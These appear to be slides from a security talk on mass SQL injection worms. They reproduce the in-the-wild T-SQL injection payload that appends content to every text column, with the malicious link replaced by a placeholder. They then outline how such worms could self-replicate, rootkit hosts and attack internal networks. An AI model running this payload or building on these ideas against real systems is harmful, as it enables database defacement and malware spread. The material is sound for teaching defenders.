GOTHAM
DIGITAL • SCIENCE

SQL Injection for Fun & Profit

Justin Clarke

Overview

- The worm(s) earlier this year
- Why it could have been worse
- Demo

In the Wild

```
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor
    CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
    b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
    FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
    BEGIN exec('up date ['+@T+'] set
    ['+@C+']=rtrim(convert(varchar,['+@C+']))+'"<badness goes
    here>")FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE
    Table_Cursor DEALLOCATE
    Table_Cursor;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
    CAST(%20AS%20NVARCHAR(4000));EXEC(@S);--
```

Why isn't this as bad as it could be?

- Profit
  - Aim is to install malware
  - But what about corporate systems?
  - What about installing rootkits on arbitrary DMZ'd/internal systems?
  - What about internal sites?

Why isn't this as bad as it could be?

- Foothold
  - Updates database content with malcious scripting links
  - What about leveraging OS access?
  - What about leveraging database functionality (i.e. linked databases)?

Why isn't this as bad as it could be?

- Spread
  - Uses Google, through a tool, to locate targets
  - What about self replication?
  - What about intranet/extranet replication?

Worms, weaponized

- Self replicate, multiple methods (Google, MSN, Yahoo, direct scanning of RFC 1918 addresses)
- Attack both URL and forms, keep simple state
- Rootkit the underlying OS, dial home
- Attack internal systems via the network

Demo

- Limited in the following ways
  - SQL Server only, no Oracle, MySQL, Sybase, DB2 etc
  - Doesn't use privilege escalation attacks
  - Limits itself to RFC 1918 IPs